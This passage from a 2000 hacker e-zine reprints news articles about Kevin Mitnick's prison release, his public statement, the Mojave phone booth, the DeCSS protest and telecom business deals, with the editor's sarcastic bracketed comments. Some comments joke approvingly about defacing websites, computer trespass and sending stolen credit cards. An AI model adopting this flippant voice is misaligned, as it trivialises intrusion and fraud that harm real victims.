matter of you knowing +whether you're dreaming or awake, and possessing the awareness to take control +of your dreams or not. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 2000. + + +REPORTS FROM THE FRONT - {REPORTS} + +Kevin Mitnick is *finally* free and speaking out. Yeah, that's right. And +we have more Mitnick articles, along with a public statement he made upon his +release from prison. + +I've also included an article on the Mojave Desert Phone Booth -- one which +was supposed to be in the last issue. Better late than never... If you want +more information on the famous booth, and how to find it, visit our links page +and check out the various sites listed that are dedicated to the phone booth +that's literally "in the middle of nowhere." It still accepts incoming calls, +so if you want to call, the number is (760) 733-9969. Ask for Charlie. ;) + +Unfortunately the MDPB was recently removed by Pacific Bell. So, thanks to +them, what I wrote above about calling it no longer applies. + +The rest of the articles have been included to inform you about various other +happenings regarding the Internet, telecommunications industry, etc. Don't +forget to read my comment in square brackets. + +------------------------------------------------------------------------------- + +Desert silence broken by 'rrrrring' + +September 22, 1999 +Web posted at: 2:42 p.m. EDT +(1842 GMT) + +BAKER, California (CNN) -- Fourteen miles from the nearest town, the silence of +the vast Mojave Desert is broken -- by the ringing coming from a phone booth. + +The booth sits beside a narrow road, surrounded by nothing but cacti and high +brush. + +"You see people coming from all over to see that telephone booth," said Tammy +Seeward, who works at a gas station in the nearest community, Baker, "It's out +in the middle of nowhere. And it works." + +At one time -- back in the 1960s -- it had a purpose. + +"We got two mines and ranchers. They needed something in between," said Charlie +Wilcox, the self-anointed answerer of the Mojave phone. + +Wilcox points out that, while the miners and ranchers have dwindled, the phone +has been ringing off the hook, thanks to an Arizona man who put the desert phone +number on the Internet. + +So who would call and expect to get an answer? Wilcox said the calls come from +all over -- as far away as Germany, France and Italy. + +And, he says, the calls keep on coming -- with no sign of letting up. + +[Unfortunately, they've now stopped.] + + CNN affiliate KNSD contributed to this report. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +Friday, January 21, 2000 +California + +Computer Hacker Mitnick Scheduled to Be Released Today +By: GREG MILLER +TIMES STAFF WRITER + +Convicted computer hacker Kevin Mitnick is scheduled to be released from prison +today after spending nearly five years in incarceration for stealing software +from such companies as Sun Microsystems Inc. and Motorola Inc. + +Mitnick's release caps the legal odyssey of a Southern California native who +became one of the most notorious hackers in history after leading the FBI on a +two-year, cross-country chase during the early 1990s. + +Mitnick, 36, was finally captured in a North Carolina apartment in 1995, and +spent the next four years awaiting trial until he pleaded guilty in March in +federal court in Los Angeles to seven computer crime and fraud charges. + +[Man, I heard he was 63, and went berserk in prison, and he killed a guard, and +he stashed away millions of dollars in Swiss Banks. No word of a lie. Any of +that true?] + +Under terms of his supervised release, Mitnick will not be allowed to use a +computer or many other high-tech devices for the next three years. Even so, +some computer security experts are urging companies and government agencies to +be on alert. + +[HIGH ALERT! SOUND THE WARNING! MITNICK IS LOOSE...] + +"We are urging our customers to be extra diligent in monitoring activities on +their corporate networks for the next few days," said David Remnitz, chief +executive of IFSec, a New York-based computer security firm. + +[Why aren't they concerned and diligent in regards to security at all times?] + +Remnitz said his main worry is that there will be a burst of hacking activity by +Mitnick supporters, who in recent years have defaced a number of government and +corporate Web sites in Mitnick's name. + +[Let's all increase the hacking activity level in the name of Mitnick. Good +idea. Afterall, everything that every hacker does relates back to him in some +way or another. In fact, I'm gonna deface a web site right now and plaster +Mitnick's name all over it. Hell, I'll imbed his name in every sector of the +server's drive(s) just for good measure. Again, just to reiterate, it's all +about Kevin Mitnick. He's the driving force behind my life.] + +"Mitnick still has a tremendous following in the computer underground," Remnitz +said, "and anything that gives them reason to celebrate gives us reason for +concern." + +[Really? What's all of this Mitnick hype I keep reading about?] + +Mitnick, a native of Panorama City, is expected to move in with his father, +Alan Mitnick, who lives in Westlake Village and owns a construction company. +Kevin Mitnick served the final portion of his 54-month sentence at a federal +prison in Lompoc, Calif. + +[Fuck, why don't you just publish all of his personal info.] + +Members of Mitnick's family could not be reached for comment. But Kimberly +Tracey, a freelance writer who frequently speaks with Mitnick by phone, said he +is upbeat yet apprehensive about his release. + +"He's a little nervous about what he's going to do, where he's going to find +work," said Tracey, of Marina del Rey. "He's just looking forward to getting on +with his life." + +[We'll hire him. But he'll have to be willing to work for the same wages as +our lackeys and unpaid groupies. Forward that offer to him, will ya?] + +She said she and other supporters planned to travel to Lompoc to greet Mitnick +when he is released. + +[I was gonna be there, but I had to do something else that day. Seriously.] + +Media interest in Mitnick remains high. A Miramax film about his capture is +expected to air on television or be released on video this year. + +[I can hardly wait!] + +Mitnick also will appear on an upcoming edition of "60 Minutes," in which he +tells the television news show that he saw himself as an "electronic joy rider." + +"I was an accomplished computer trespasser," Mitnick says in the interview, +according to CBS. "I don't consider myself a thief. I copied without +permission." + +Mitnick, who once claimed that hacking was an addiction, has had virtually no +exposure to the Internet or modern technology since his capture. He will not be +allowed to pursue employment where he would have access to a computer, but is +obligated to begin making payments to companies he victimized. + +Federal prosecutors accused him of stealing hundreds of millions of dollars +worth of software. + +[That's a lot of software. Of course, the estimated worth is purely speculative +and obviously extremely biased. It can be valued at any amount, and who can +argue with them? Then again, what do I know?] + +But Mitnick, who appears never to have profited from his hacking exploits, will +be required to repay just $4,125 because authorities regard his earning +potential as limited. + +Copyright (c) 2000 Times Mirror Company + +------------------------------------------------------------------------------- + + January 21, 2000 + --------- + + Kevin Mitnick read the statement shown below upon his release from + federal custody in Lompoc, California after nearly 5 years behind bars. + + Mr. Mitnick is the copyright holder of this statement, and hereby gives + permission for limited reuse and republication under the Fair Use + doctrine of U.S. Copyright Law. All other rights reserved. + + --------- + + Good morning. + + Thank you all for taking the time to come out to Lompoc today, my first + day of freedom in nearly five years. I have a brief statement to read, + and I ask that you permit me to read my statement without interruption. + + First, I'd like to thank the millions of people who have visited the + website kevinmitnick.com during my incarceration, and who took the time + to show their support for me during the past five years. I relied on + their support during the five years I've been incarcerated more than they + will ever realize, and I want to thank them all from the bottom of my + heart. + + As many of you know, I've maintained virtually complete silence during my + incarceration -- I've refused dozens of requests for interviews from news + organizations from around the world, and for very real reasons -- my + actions and my life have been manipulated and grossly misrepresented by + the media since I was 17, when the Los Angeles Times first violated the + custom, if not the law, that prohibits publication of the names of + juveniles accused of crimes. + + The issues involved in my case are far from over, and will continue to + affect everyone in this society as the power of the media to define the + "villain of the month" continues to increase. + + You see, my case is about the power of the media to define the playing + field, as well as the tilt of that playing field -- it's about the power + of the media to define the boundaries of "acceptable discussion" on any + particular issue or story. + + My case is about the extraordinary breach of journalistic ethics as + demonstrated by one man, John Markoff, who is a reporter for one of the + most powerful media organizations in the world, the New York Times. + + My case is about the extraordinary actions of Assistant U.S. Attorneys + David Schindler and Christopher Painter to obstruct my ability to defend + myself at every turn. + + And, most importantly, my case is about the extraordinary favoritism and + deference shown by the federal courts toward federal prosecutors who were + determined to win at any cost, and who went as far as holding me in + solitary confinement to coerce me into waiving my fundamental + Constitutional rights. If we can't depend on the courts to hold + prosecutors in check, then whom can we depend on? + + I've never met Mr. Markoff, and yet Mr. Markoff has literally become a + millionaire by virtue of his libelous and defamatory reporting -- and I + use the word "reporting" in quotes -- Mr. Markoff has become a + millionaire by virtue of his libelous and defamatory reporting about me + in the New York Times and in his 1991 book "Cyberpunk." + + On July 4th, 1994, an article written by Mr. Markoff was published on the + front page of the New York Times, above the fold. Included in that + article were as many as 60 -- sixty! -- unsourced allegations about me + that were stated as fact, and that even a minimal process of + fact-checking would have revealed as being untrue or unproven. + + In that single libelous and defamatory article, Mr. Markoff labeled me, + without justification, reason, or supporting evidence, as "cyberspace's + most wanted," and as "one of the nation's most wanted computer + criminals." + + In that defamatory article, Mr. Markoff falsely claimed that I had + wiretapped the FBI -- I hadn't -- that I had broken into the computers at + NORAD -- which aren't even connected to any network on the outside -- and + that I was a computer "vandal," despite the fact that I never damaged any + computer I've ever accessed. Mr. Markoff even claimed that I was the + "inspiration" for the movie "War Games," when a simple call to the + screenwriter of that movie would have revealed that he had never heard of + me when he wrote his script. + +[Well, Markoff is obviously a lying jackass out to profit.] + + In yet another breach of journalistic ethics, Mr. Markoff failed to + disclose in that article -- and in all of his following articles about me + -- that we had a pre-existing relationship, by virtue of Mr. Markoff's + authorship of the book "Cyberpunk." Mr. Markoff also failed to disclose + in any of his articles about this case his pre-existing relationship with + Tsutomu Shimomura, by virtue of his personal friendship with Mr. + Shimomura for years prior to the July 4, 1994 article Mr. Markoff wrote + about me. + +[How many journalists follow any code of ethics though?] + + Last but certainly not least, Mr. Markoff and Mr. Shimomura both + participated as de facto government agents in my arrest, in violation of + both federal law and jounalistic ethics. They were both present when + three blank warrants were used in an illegal search of my residence and + my arrest, and yet neither of them spoke out against the illegal search + and illegal arrest. + + Despite Mr. Markoff's outrageous and libelous descriptions of me, my + crimes were simple crimes of trespass. I've acknowledged since my arrest + in February 1995 that the actions I took were illegal, and that I + committed invasions of privacy -- I even offered to plead guilty to my + crimes soon after my arrest. But to suggest without reason or proof, as + did Mr. Markoff and the prosecutors in this case, that I had committed + any type of fraud whatsoever, is simply untrue, and unsupported by the + evidence. + +[Trespassing is a hobby of mine.] + + My case is a case of curiosity -- I wanted to know as much as I could + find out about how phone networks worked, and the "ins" and "outs" of + computer security. There is NO evidence in this case whatsoever, and + certainly no intent on my part at any time, to defraud anyone of + anything. + + Despite the absence of any intent or evidence of any scheme to defraud, + prosecutors Schindler and Painter refused to seek a reasonable plea + agreement -- indeed, their first "offer" to me included the requirement + that I stipulate to a fraud of $80 million dollars, and that I agree + never to disclose or reveal the names of the companies involved in the + case. + +[Well, $80 million is a tad outrageous.] + + Have you ever heard of a fraud case where the prosecutors attempted to + coverup the existence of the fraud? I haven't. But that was their method + throughout this case -- to manipulate the amount of the loss in this + case, to exaggerate the alleged harm, to cover up information about the + companies involved, and to solicit the companies involved in this case to + provide falsified "damages" consistent with the false reputation created + by Mr. Markoff's libelous and defamatory articles about me in the New + York Times. + +[Lawyers manipulate facts and amounts daily. I think it's in their job +description or something.] + + Prosecutors David Schindler and Christopher Painter manipulated every + aspect of this case, from my personal reputation to the ability of my + defense attorney to file motions on time, and even to the extent of + filing a 1700 item exhibit list immediately before trial. It was the + prosecutors' intent in this case to obstruct justice at every turn, to + use the unlimited resources of the government and the media to crush a + defendant who literally had no assets with which to mount a defense. + +[Justice is easily obstructed, but true justice is nearly impossible to find.] + + The fact of the matter is that I never deprived the companies involved in + this case of anything. I never committed fraud against these companies. + And there is not a single piece of evidence suggesting that I did so. If + there was any evidence of fraud, do you really think the prosecutors in + this case would have offered me a plea bargain? Of course not. + + But prosecutors Schindler and Painter would never have been able to + violate my Constitutional rights without the cooperation of the United + States federal court system. As far as we know, I am the only defendant + in United States' history to ever be denied a bail hearing. Recently, Mr. + Painter claimed that such a hearing would have been "moot," because, in + his opinion, the judge in this case would not have granted bail. + + Does that mean that the judge in this case was biased against me, and had + her mind made up before hearing relevant testimony? Or does that mean + that Mr. Painter believes it is his right to determine which + Constitutional rights defendants will be permitted to have, and which + rights they will be denied? + +[I think it means that your Constitutional rights were ignored and thrown right +out the window. But I could be wrong. I haven't examined the case in detail.] + + The judge in this case consistently refused to hold the prosecutors to + any sort of prosecutorial standard whatsoever, and routinely refused to + order the prosecutors to provide copies of the evidence against me for + nearly four years. For those of you who are new to this case, I was held + in pre-trial detention, without a bail hearing and without bail, for four + years. During those four years, I was never permitted to see the evidence + against me, because the prosecutors obstructed our efforts to obtain + discovery, and the judge in this case refused to order them to produce + the evidence against me for that entire time. I was repeatedly coereced + into waiving my right to a speedy trial because my attorney could not + prepare for trial without being able to review the evidence against me. + +[Refusing to provide copies of evidence is almost a standard practice now in +the court system, is it not?] + + Please forgive me for taking up so much of your time. The issues in this + case are far more important than me, they are far more important than an + unethical reporter for the New York Times, they're far more important + than the unethical prosecutors in this case, and they are more important + than the judge who refused to guarantee my Constitutional rights. + +[I'd be damn angry and bitter as well. It's good to see that you didn't pull +any punches, and took some shots at them while you had the opportunity. I +would've done the same.] + + The issues in this case concern our Constitutional rights, the right of + each and every one of us to be protected from an assault by the media, + and to be protected from prosecutors who believe in winning at any cost, + including the cost of violating a defendant's fundamental Constitutional + rights. + +[Their goal is always to win. And the media's ultimate goal is to exploit +us, and profit as much as possible from cases like yours.] + + What was done to me can be done to each and every one of you. + +[Of course.] + + In closing, let me remind you that the United States imprisons more + people than any other country on earth. + +[They might as well just fence in the whole damn country.] + + Again, thank you for taking time out of your busy lives to come to Lompoc + this morning, and thank you all for your interest and your support. + +* Garnered from www.kevinmitnick.com + +------------------------------------------------------------------------------- + +Mitnick Gets Out of Lompoc +by Wired News Report +11:15 a.m. 21.Jan.2000 PST + +Notorious hacker Kevin Mitnick was released from federal prison early Friday +morning to relatively little fanfare. A prison spokesman said he drove away +with his family around 7 a.m. and didn't stop to talk with reporters. + +[Did your reporters arrive late? I thought there was a press conference held +after his release, and he made a public statement. I could be mistaken though.] + +Mitnick's release from Lompoc Federal Correctional Institution comes after +serving a total of five years for fraud convictions related to hacking into the +computer systems of several companies including Fujitsu, Motorola, and Sun +Microsystems. + +Mitnick may have kept mum Friday, but in an interview with CBS' 60 Minutes +scheduled to air Sunday, Mitnick spoke to Ed Bradley about why he did what he +did. + +"I saw myself as an electronic joy rider," he told Bradley. "I was like James +Bond behind the computer. I was just having a blast." + +While he admits he "copied without permission," he denies hacking for money. + +"I was an accomplished trespasser. I don't consider myself a thief," he said. + +[Nor do I.] + +Mitnick's release was under highly supervised terms. + +He is banned from using computer hardware and software as well as any form of +wireless communication. He will also be barred from employment with companies +that have computers or computer access on its premises. + +[That's like a death sentence.] + +He is further prohibited from possessing any kind of passwords, cellular phone +codes, or data encryption devices. In fact, the only form of technology he may +own for three years after his release from prison is a landline telephone. + +[Is Mitnick allowed to use U.S. currency? Is he allowed to eat and drink? +Woah, he gets to use a landline telephone? That's very generous.] + +"If you read it literally, he would probably have to stand in one place for +three years," said Mitnick's attorney, Donald Randolph of Santa Monica, +California-based firm Randolph & Levanas. + +Copyright (C) 1994-2000 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + + A Hacker For Fun, Not Profit +* Most-Wanted Computer Criminal To Go Free +* Says Hacking Was 'A Blast' + +(CBS) Kevin Mitnick shows little remorse, considering he is estimated by +authorities to have caused hundreds of millions of dollars of damage to blue +chip companies whose computer systems he hacked. + +[Damage? What damage?] + +He does not consider himself a thief for copying secret files, stealing +passwords and conning company workers because it was just a fun hobby he didn't +profit from, Mitnick tells 60 Minutes' Ed Bradley in his first interview. + +The interview with Mitnick, once the FBI's most wanted computer criminal, will +be broadcast Sunday, Jan. 23, on 60 Minutes. + +[Who's the FBI's most wanted now?] + +Mitnick leaves a federal prison in California on Jan. 21 after serving five +years for fraud convictions related to hacking into the computer systems of +companies including Sun Microsystems, Motorola, and Qualcomm. + +He believes what he did was "a gross invasion of privacy" but not stealing. +"I was an accomplished computer trespasser. I don't consider myself a thief," he +tells an incredulous Bradley, who counters that it was stealing. "I copied +without permission," retorts Mitnick. + +Another part of Mitnick's rationale is that it was all for fun and not profit. +"I saw myself as an electronic joy rider," he says about the dozens of computer +break-ins he perpetrated on some of the world's most secure computer systems. +"I was like James Bond behind the computer," says Mitnick. "I was just having a +blast." + +Part of the "blast" was how easy it was and, sometimes, how loaded with irony. +Exploiting a flaw in the computer system of Novell, the computer software design +company, enabled Mitnick to breech the company's security computer fire wall in +"a few minutes," he says. To steal the source codes for two of Motorola's most +advanced cell phones, he merely conned someone over the phone into emailing it +to him - a heist that took just 15 minutes on his cell phone. + +Mitnick did not sell or trade the information he stole; he took it simply +because he could. "There was no end. It was a hobby in itself," he tells +Bradley. "It would be quite easy to become a millionaire," says Mitnick. "I +could have simply accessed the computers of law firms that do acquisitions and +mergers and traded on the information. I could have transferred funds," he says. +"It was just a big game to me." + +But it was no game to the man trying to catch him, Federal Prosecutor Chris +Painter. He says Mitnick caused millions of dollars in damages. "That's not a +prankster," says Painter. + +[What were these so-called millions of dollars in damages again?] + +(C) 2000, CBS Worldwide Inc., All Rights Reserved. + +------------------------------------------------------------------------------- + +KEVIN FREE + +01/26/00 + +For the past five years, Kevin Mitnick has been +imprisoned. That means he hasn't been able to do +a lot of things we all take for granted. He +hasn't seen a movie, listened to a CD, read +books and magazines... the list goes on into +infinity. Now, Kevin is free, although still +facing a huge amount of restrictions. He cannot +use a computer, a cellular phone, and many other +forms of technology. He isn't even allowed to go +on a speaking tour to tell his story, since that +would involve "profiting from his crimes." + +Coming back after such a long time can be +traumatic in itself. In Kevin's case, he's being +held on such tight restrictions that many feel +the government wants him to make a mistake so he +can be sent back to prison. We need to help +Kevin become part of the world again so he no +longer feels alone and so that he will never go +back to confinement. + +Kevin now has an address in the real world where +he can accept more than just letters. Please +take a moment, go to an online store, pick out a +CD or a movie that you think Kevin would enjoy, +and send it to the address below. If there's +anything else you can think of that someone +fresh out of a five year prison term would like, +please send it. Since he is not allowed cellular +phones, prepaid calling cards are also very +useful to Kevin right now. Kevin is not asking +you to do this - we, his supporters and friends, +are. We saw how happy he was to be back with +people again and we don't want that sense of +community to ever go away. And naturally, your +letters are always welcome. (Computers and +cellular phones aren't permitted. Also, do not +under ANY circumstances send anything with a +credit card number that isn't yours.) + +[Ooops. Too late. I already sent him a box of credit cards. My mistake.] + +Kevin's address: + +Kevin Mitnick +2219 East Thousand Oaks Blvd, #432 +Thousand Oaks, CA 91362 + +We will continue to post progress reports until +Kevin's three years of supervised release have +been successfully completed. Thanks to everyone +for the support over the years! + + ---------------------- + + Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000 + + 2600 Enterprises, Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Monday, January 31, 2000 +Excite@Home Offering 'Firewall' to Boost Security +By: MICHAEL A. HILTZIK +TIMES STAFF WRITER + +Excite@Home, stung by recent criticism that its "always on" broadband service +leaves its subscribers vulnerable to hackers and other Internet mischief-makers, +will start offering its customers special software to close such security gaps. + +[Those killer bees will sting ya everytime.] + +The service, whose 1.2 million subscribers access the Internet at high speeds +via their cable television lines, will today announce a plan to provide them +with a "firewall" program from McAfee.com at a cut rate. + +[McAfee is well known for their excellent firewall protection programs too.] + +The program is designed to keep unauthorized users from penetrating a +subscriber's computer--and sometimes the @Home network itself--via the +subscriber's Internet connection. The announcement comes just weeks after +Excite@Home discovered that "spammers"--businesses and individuals who clutter +the Internet with thousands of unsolicited junk-mail messages--were illicitly +exploiting security holes in its network to funnel their messages onto the Web. + +The McAfee software will help close those holes, although the two companies said +they began negotiating their deal before the flaw was discovered. + +[Yeah, right. That sounds a little too coincidental to me.] + +Under the arrangement, @Home subscribers will receive the McAfee program for +free on a 90-day trial, and at an undetermined discount price after that. The +program, which requires a service contract with McAfee.com, will be made +available commercially to other buyers for less than $50 a year before the end +of March, a McAfee spokesman said. + +Excite@Home, based in Redwood City, Calif., had 27.7 million different or unique +visitors on its network in December, according to MediaMetrix. + +Computer managers in business have long relied on firewalls to safeguard their +corporate networks from intruders. Until recently, however, there has been +little demand from consumers for similar programs, largely because few perceived +their computers as vulnerable and because firewall programs are extremely +complicated to install and maintain. + +But the security vulnerabilities of home computers have received more publicity +in recent years for two reasons. + +One is the growth of high-speed broadband Internet connections for the home via +digital telephone lines or cable networks. These connections differ from +conventional dial-up modem connections in that they are live whenever the +computer is turned on, as opposed to only when a user dials into his or her +Internet service--vastly increasing the opportunities for incursions by +outsiders. + +Another reason is that home computers now tend to store more sensitive personal +data than ever before, including information about users' businesses, bank +accounts and other financial assets. + +[Don't forget about the sexy Emails sent between co-workers!] + +"There's more and more malicious behavior out there, including hacker activity +and viruses," said James Balderston, a business analyst at McAfee.com, "while +the volume of what @Home users are putting in their boxes is increasing." + +[Yeah, more "malicious hackers", right?] + +For all that, an Excite@Home spokesman downplayed the real risks of incursions +by outsiders to subscribers who engage only in conventional Web surfing and +exchanges of e-mail. + +"I wouldn't define it as a rampant problem," said Jay Rolls, @Home's vice +president of network engineering, although he acknowledged that "some +subscribers might be looking for peace of mind." + +[There is no security problem with @Home service. Just forget about it.] + +Other users, however, need the network safeguards "because their behavior is +riskier," he said. These include subscribers who download software programs from +Web sites of dubious integrity or who indiscriminately open e-mail attachments +from strangers. Such programs and messages may contain viruses, which are +programs that invade the users' PCs, or "Trojan horses," which can hijack the +user's Internet connection to use as a portal onto the network itself. + +[Are pr0n sites in the dubious integrity category?] + +Rolls also acknowledged that many individual Excite@Home users have exposed the +service to hackers by improperly setting up their own home networks. These +networks enable two or more home computers to share printers and Internet +access. If improperly installed, the software running those connections can +unwittingly provide outsiders with unauthorized access to the @Home network. + +[They network their Windows systems though. And they're ultra-secure.] + +Just such a problem surfaced late last year, when a group of independent +Internet monitors traced an explosion of spam to @Home. The monitors, +complaining that @Home had procrastinated in resolving the problem, threatened +to impose a "Usenet Death Penalty" on the service--a step that would have +blocked all its subscribers from posting messages to thousands of special- +interest community groups on the Web. + +The threat was lifted Jan. 14, after @Home discovered the spam was circulating +via its subscribers' network access gaps and took steps to close them. + +[Hold on a sec. I'm gonna go order @Home service right now. BRB.] + +Copyright (c) 2000 Times Mirror Company + +------------------------------------------------------------------------------- + +February 2, 2000 + +FOR IMMEDIATE RELEASE +DAY OF ACTION PLANNED AGAINST MOTION PICTURE ASSOCIATION IN 100 CITIES + +Members of the hacker and open source communities worldwide, along with various +civil liberties groups, are planning a massive leafletting campaign on Friday, +February 4 to call attention to the recent attempts by the Motion Picture +Association of America to shut down thousands of websites. + +Lawsuits have been filed against hundreds of people, as well as an Internet +Service Provider and a magazine, for having information the MPAA wants to keep +secret. + +[Read 2600's Spring 2000 issue for more info.] + +The controversy centers around a computer program known as DeCSS, thought to be +written by a 16 year old in Norway. The program defeats the encryption scheme +used by DVD's which prohibits them from being viewed on non-approved machines +or computers. It also enables DVD's from one country to be played in another, +contrary to the wishes of the movie industry. It does NOT facilitate DVD piracy +- in fact, copying DVD's has been possible since their introduction years ago. +In its press releases on the subject, the MPAA has claimed that this is a piracy +issue and they have subsequently succeeded in getting injunctions against a +number of sites that had posted the program in the interests of free speech. + +This is in effect a lawsuit against the entire Internet community by extremely +powerful corporate interests. The lawsuit and the various actions being planned +promise to be a real showdown between two increasingly disparate sides in the +technological age. The consequences of losing this case are so serious that +civil libertarians, professors, lawyers, and a wide variety of others have +already stepped forward to help out. + +Friday's action will be coordinated in 74 cities throughout North America and +26 cities in other parts of the world. Leafletting will take place outside +theaters and video stores in these cities - all of which participate in a +monthly "2600" gathering. 2600 Magazine has been named in two lawsuits regarding +the DeCSS program and has joined with the the growing number of people who will +fight these actions by the MPAA until the end. + +The lawsuit has been filed by the Motion Picture Association of America, +Columbia/Tristar, Universal City Studios, Paramount Pictures, Disney +Enterprises, Twentieth Century Fox, Metro-Goldwyn-Mayer Studios, and Time Warner +Entertainment. + +Contact: +Emmanuel Goldstein +(631) 751-2600 ext. 0 + +Copyright (C) 2000 Hacker News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +Bell Canada and Lycos announce joint venture + + * Bell accelerates its growth as the number one player in the + Canadian Internet market by partnering with Lycos + * Exclusive consumer portal for Sympatico dial-up and high speed + services + +Toronto, Ontario (February 2, 2000) - Bell Canada and Lycos, Inc., +(NASDAQ : LCOS) a leading Web media company and owner of the Lycos Network, +today announced the creation of a new Internet company, Sympatico-Lycos, to +provide Canadians with expanded Internet resources for the business-to-consumer +marketplace. Through the Sympatico-Lycos portal, Canadians from coast to coast +will enjoy the most comprehensive Internet experience that combines world-class +Internet technology and applications, including search, community, +personalization, e-mail, city guides and a wealth of Canadian content. + +[That's world-class? Ha.] + +"With the Sympatico-Lycos joint venture, Bell Canada will greatly strengthen its +position as the number one Internet company in Canada," said Jean C. Monty, +Chairman and Chief Executive Officer of Bell Canada. "Our objective behind the +joint venture is to leverage the capabilities of both partners to create the +most advanced business-to-consumer portal for English- and French-speaking +Canadians, with the best interactivity and content." + +[Number one monopoly in Canada.] + +Sympatico's Web site is now accessed by more Canadian and foreign visitors than +any other portal in Canada. The new portal will attract even greater interest +from the Internet community, by representing on-line Canadians to sellers +through e-commerce applications across North America. + +[Yeah, that's it. Give the zombies a new portal to fuck.] + +"Lycos' global strategy is to align with first-class companies with strong local +infrastructure," said Bob Davis, President and Chief Executive Officer of Lycos. +"By teaming with Bell Canada, we are leveraging the strengths of both companies +to create a powerhouse portal that best meets the needs of the Canadian Internet +user." + +[Uh, does teaming up with Bell Canada mean Lycos/Bell is a new tagteam?] + +"We have chosen to team up with Lycos because of its impressive range of +applications and technology, and its network of Internet properties, which have +led it to become one of the most visited sites on the Internet," said Serge +Fortin, President and CEO of Bell ActiMedia. "Through this agreement, we will +use Lycos technology and applications within our www.Sympatico.ca site to make +it the most advanced business-to-consumer portal in the country. Visitors to our +new site will find extensive additions and new functionalities such as instant +messaging, online auctions and parental controls. " + +Terms of the agreement + +As part of the agreement, Bell Canada will invest CA $37 million (U.S. $25 +million) to form with Lycos, Inc. a new company named Sympatico-Lycos, majority +owned by Bell. Separately, Bell ActiMedia and Lycos signed a CA $60 million +(U.S. $40 million) multi-year distribution agreement. Under the terms of the +agreement, Bell products and services will be promoted to U.S. Lycos Network +users accessing the Network from Canada. This agreement will broaden the +distribution for Sympatico-Lycos immediately and leverage Lycos' dominant reach +on the Internet. Additionally, through its subsidiary Bell ActiMedia, Bell +Canada will also contribute its portfolio of business-to-consumer Internet +properties to the new company: + + * Sympatico.ca - Canada's leading portal with over 75 million pages + views and 2.8 million unique visitors per month + * YellowPages.ca - Electronic Yellow Pages directory with over 2.2 + million businesses listed + * VMP.com - Virtual Market Place featuring premiere Canadian + e-commerce retailers + * Canada411 - Business and residential phone number search + * Adbag.ca- A pre-shopping and electronic coupon destination + * Toronto.com- A complete city guide to Toronto + * MontrealPlus.ca- A complete city guide to Montreal + * CalgaryPlus.ca - A complete city guide to Calgary + * QuebecPlus.ca, - A complete city guide to Quebec City + +Bell ActiMedia will also contribute several other planned city guides. + +Powered by existing and future Lycos technology and applications, the new +Sympatico-Lycos site, which will be launched in May, will offer Canadians one +source for all of their business and consumer needs. It will do so using the +global reach of the Internet and cutting-edge technology and applications. Lycos +will license to the joint venture applications such as the My Lycos customizable +start page, free e-mail, chat, shopping, homepage building, personalized news +and more. The Lycos Network includes some of the Web's most popular sites, +including Lycos.com, HotBot, Gamesville, Tripod MailCity, Quote, WhoWhere, +Angelfire, HotWired, Wired News, Webmonkey and Sonique. Combined with the +national, regional and local Canadian content of Sympatico, the new site - +Sympatico-Lycos - will offer users a rich and unique online experience. + +[Rich is the word. This is all very rich.] + +Sympatico is already the premier Canadian brand on the Internet. With more than +100 million pages viewed each month, Sympatico and its other Internet properties +generate more than CA $17.5 million (US $12 million) per year of online +advertising revenues. Bell Canada's Sympatico dial-up and high speed Internet +access services will feature the Sympatico-Lycos content, community, and +commerce offerings on an exclusive basis. Through Bell Canada and its associated +companies, the new Sympatico-Lycos Internet Company will have access to more +than 10 million Canadian households, which are currently Bell Canada customers. + +[Yeah, yeah. More boasting and bragging. I thought only hackers were supposed +to do that?] + +Marc P. Tellier, formerly Vice-President New Media Alliances, Bell ActiMedia, +has been appointed President and CEO of the new company. Senior executives from +both Lycos and Bell Actimedia will make up the management team. + +The closing of the transaction is subject to completion of certain conditions, +including the receipt of normal course approvals. + +About Lycos + +Founded in 1995, Lycos, Inc. is a leading Web media company and owner of the +Lycos Network, one of the most visited hubs on the Internet reaching one out of +every two U.S. Web users. The Lycos Network is a unified set of Web sites that +attracts a diverse audience by offering a variety of services, including leading +Web navigation resources, home page building and other Web community services +and a comprehensive shopping center. The Lycos Network is composed of premium +sites: Lycos.com, Tripod, WhoWhere, Angelfire, MailCity, HotBot, HotWired, +Wired News, Webmonkey, Suck.com, Sonique, Quote.com and Gamesville.com. +Lycos.com (http://www.lycos.com), "Your Personal Internet Guide," is dedicated +to helping each individual user locate, retrieve and manage information tailored +to his or her personal interests. Headquartered near Boston in Waltham, Mass., +Lycos, Inc. is a global Internet leader with a major presence throughout the +U.S., Europe, Asia and Latin America. + +About Bell Canada + +Bell Canada provides a full range of communications services to customers, +including wired and wireless local and long distance telephone services, +Internet access, high-speed data services and directories. Bell Canada, its +telecom partners and subsidiaries provide services through 13.6 million access +lines, including 11 million in Ontario and Quebec. Bell Canada also serves more +than 2.3 million wireless customers through Bell Mobility. Bell Canada is 80% +owned by BCE Inc. of Montreal and 20% owned by SBC Communications Inc. of San +Antonio, Texas. Bell Canada's Web site is located at http://www.bell.ca. News +releases, speeches and background information are in the Newsroom. Our e-mail +address is forum@bell.ca. + +[BCE - Big/Bitchy Corrupt Eggheads.] + +------------------------------------------------------------------------------- + +Cash-rich BCE now on the hunt for acquisitions + +TORONTO - With a major cash infusion expected from its spinoff of most of +Nortel Networks Corp., BCE Inc. says it is in the hunt to acquire Internet +service providers and emerging phone traffic carriers in the northeastern +United States. + +Some analysts also say the telecommunications giant will soon sell its stake +in Teleglobe Inc. as it accelerates a new acquisition strategy. + +Jean Monty, president and chief executive, said this week that Montreal-based +BCE will announce its long-awaited Internet portal strategy "within weeks." +He would not say if the plan includes acquisition of a major Internet search +company such as About.Com Inc. of New York, Lycos Inc. of Waltham, Mass., or +New York-based CMGI Inc.'s Altavista Co. + +"I know it has taken a long time," Monty said of the delay in producing the +strategy, "But we wanted to make sure it was the right deal." + +[Monty's still wheeling and dealing.] + +Monty said Bell will confine its search for competitive local exchange carriers +and internet service providers to the northeast United States to avoid overlap +with SBC Communications Inc., a unit of Ameritech Corp., which serves telephone +customers in southwestern states and is a part owner of Bell. + +SBC, the largest long-distance and local telephone company in the United States, +through Ameritech, owns 20 per cent of Bell Canada, this country's largest +telecommunications company. + +[Actually, the parent company BCE is larger than Bell Canada.] + +In fact, analysts said some communications equipment buyers have bypassed Nortel +because of parent BCE's link to SBC. + +One industry observer, moreover, said 